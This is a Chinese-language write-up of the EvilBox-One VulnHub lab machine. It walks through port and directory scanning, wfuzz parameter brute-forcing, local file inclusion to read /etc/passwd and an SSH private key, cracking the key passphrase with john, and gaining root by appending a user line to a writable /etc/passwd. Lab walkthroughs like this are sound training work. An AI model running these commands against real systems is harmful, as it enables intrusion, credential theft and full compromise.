EvilBox---One-vulnhub靶场
环境信息
靶机:192.168.124.138
攻击机:192.168.124.129
打靶过程
1.nmap扫描端口及服务
发现开放 22,80 端口
访问 80 端口,是 apache 的欢迎页面
2.目录扫描
访问 /robots.txt,发现疑似用户名“H4x0r”
访问 /secret/,是一个空白页面
那么就再扫描一下 /secret/ 目录,最终通过 dirb 扫描出 evil.php
访问 evil.php,也是一个空白页,这里猜测可以在后面加参数,就有可能涉及文件包含
3.wfuzz 爆破参数名
使用命令 wfuzz 爆破参数名,成功爆出参数名为“command”
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 0 http://192.168.124.138/secret/evil.php?FUZZ=/etc/passwd
4.文件包含
使用该参数名进行文件包含,发现一个用户“mowree”,但是不知道密码,并发现不存在“H4x0r”用户
该靶机开放了22端口,查看该用户下是否存在 ssh 私钥,发现确实存在私钥
5.私钥登录 ssh
下载私钥 id_rsa
在用 john 破解密码之前,得先将其转化为 john 能处理的 SHA 加密的文件,这里用到 ssh2john 命令
使用ssh2john id_rsa > pass.txt
命令编译私钥保存,
利用john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
破解出密码 unicorn
赋予 id_rsa 私钥 600 权限,指定 id_rsa 登录 ssh,输入密码 unicorn 成功登录
chmod 600 id_rsa
ssh -i id_rsa mowree@192.168.124.138
获得第一个 flag
6.提权
查看系统版本、可使用 sudo 执行权限的命令以及 suid,未发现可利用点
写入 root 权限用户
后发现 /etc/passwd 文件可写入,那就写入一个 root 权限的用户吧
先使用命令perl -le 'print crypt("pass","pass")'
生成加盐密码
使用命令echo toor:pauONM/HSu9pM:0:0:root:/root:/bin/bash >> /etc/passwd
写入带 root 权限的用户 toor,切换至 toor 用户,密码“pass”,成功提权至 root 权限
成功获取 flag
到最后都没用到“H4x0r”,靶场还是会有一些干扰项的 😃
补充
由于 /etc/passwd 文件可写入操作,且 root 用户设有密码(“x”表示设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件)
尝试删除“x”,进行无密码登录 root,但是失败了(因为删除“x”后,可以无密码登录,但是远程登录是不行的)
于是使用命令openssl passwd -1
生成一个哈希值将“x”替换,密码输入的“papa”,生成哈希值$1$U.5M5By5$EcYXMMBySD2sT0DX/lK3k1
替换后再 su 到 root,使用替换的密码“papa”成功登录 root
总结
1.目录扫描:进行目录扫描时可以多尝试几个工具或字典
2.wfuzz 爆破:一些脚本很可能存在特定的接口,参数未知可尝试爆破
3.私钥 ssh 登录:ssh2john 将私钥转化为 john 能处理的 SHA 加密的文件,再进行爆破
4. /etc/passwd 文件写入:有时也不要忽略一些关键文件的写入权限,这里就直接写入一个 root 权限的用户来提权